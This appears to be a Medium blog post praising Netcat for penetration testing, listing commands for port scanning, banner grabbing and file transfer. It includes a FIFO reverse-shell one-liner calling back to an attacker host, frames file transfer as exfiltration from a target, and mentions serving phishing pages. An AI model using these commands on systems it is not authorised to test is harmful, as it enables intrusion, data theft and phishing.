From Port Scanning to Persistent Reverse Shells
If you’ve spent more than five minutes in the pen-testing world, you’ve heard of Netcat (nc). People call it the “Swiss Army Knife” of networking so often it’s become a cliché, but there’s a reason for that. While the industry keeps trying to sell you shiny, multi-gigabyte “security suites” with fancy dashboards, Netcat is out here living in your terminal — lean, mean, and capable of tearing through a network like a hot knife through butter.
Netcat isn’t just a tool; it’s a mindset. It’s for the engineer who knows that at the end of the day, everything on the internet is just a stream of bytes. If you can control that stream, you own the pipe.
Why Netcat Still Rules the Trenches?

Why do I reach for nc when there are a dozen modern alternatives? Because Netcat doesn’t care about your “user experience.” It cares about raw connectivity. In a world of bloated software, Netcat is a minimalist’s dream.
The Tactical Advantage:
- Zero Overhead: It’s almost always there. If you’ve landed on a Linux box, nc is likely pre-installed. No dependencies, no installers, no fluff.
- Protocol Agnostic: TCP? UDP? IPv4? IPv6? Netcat handles them all without breaking a sweat.
- Invisible Power: It can act as a client or a server. It can be a bridge, a tunnel, or a backdoor.
The Core Capability Map:
Before we get into the “How-To,” you need to understand the “What.” Here is the tactical breakdown of what this tool actually does when the gloves come off:
1. The Ultimate Port Scanner
Forget waiting for Nmap if you just need a quick pulse check. nc -zv can tell you if a port is open faster than you can finish your coffee.
2. File Transfer (The “No-FTP” Solution)
Need to exfiltrate a file but SCP is blocked? Just set up a listener on your machine and pipe the file from the target. It’s dirty, it’s fast, and it works.
3. The Infamous Reverse Shell
This is where Netcat becomes a legend. By forcing a target to “phone home” to your listener, you bypass firewalls that are designed to block incoming traffic but ignore the outgoing “chatter.”
Essential Commands for the Modern Operator:
If you’re going to master the revolution, you need these commands hard-coded into your muscle memory.
- Simple Port Scan: The fast, quiet way to check for open doors without the overhead of a full Nmap scan.
nc -zv <target> <port-range>
- Banner Grabbing: Forces the server to cough up its headers so you can see exactly what software is hiding behind the curtain.
printf "GET / HTTP/1.0rnrn" | nc -v <target> 80
- Listen on a Port: Turns your terminal into a waiting trap, ready to catch incoming data or a reverse shell.
nc -lvp <port>
- Receive a File: Sets up the “receiver” end of the pipe. It sits silently until the data starts flowing.
nc -lp <port> > file.txt
- Send a File: Pushes the data through the pipe. The -w 3 flag ensures the connection closes once the job is done.
nc -w 3 <target-ip> <port> < file.txt
Level 2: Wizard-Tier Tactics
Ready to look like a pro? Here are the commands that separate the script kiddies from the masters.
The Persistent FIFO Backdoor — Standard reverse shells die when the session ends. A “FIFO” (First-In-First-Out) pipe keeps the connection interactive and stable.
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> <port> > /tmp/f
The Web Server MacGyver — Need to serve a phishing page or a quick tool without spinning up Apache?
while true; do { echo -e ‘HTTP/1.1 200 OKrn’; cat index.html; } | nc -l -p 8080; done
The Ghost Protocol (UDP Scanning) — Don’t ignore UDP just because it’s connectionless.
nc -zuv <target-ip> 53
A Word of Caution: The Double-Edged Blade
Here is the thing about Swiss Army knives: they don’t have a “safety” setting. Netcat sends data in cleartext. If you’re using it to move sensitive data over a public network, you’re basically shouting your secrets across a crowded room.
In a modern security environment, you need to be aware that nc is often flagged by EDR (Endpoint Detection and Response) / XDR systems. Using it is a loud move. But when you need a raw, unfiltered connection between two points, nothing else comes close.
The Final Word
Mastering Netcat is about understanding the fundamental physics of the internet. It’s the bridge between “I think I have access” and “I have a shell.” Stop looking for the next big tool and start mastering the one that’s been there all along.
What’s your favorite “dirty” Netcat trick? Drop a comment below — let’s see who’s actually been in the terminal.
The Netcat Revolution was originally published in OSINT Team on Medium, where people are continuing the conversation by highlighting and responding to this story.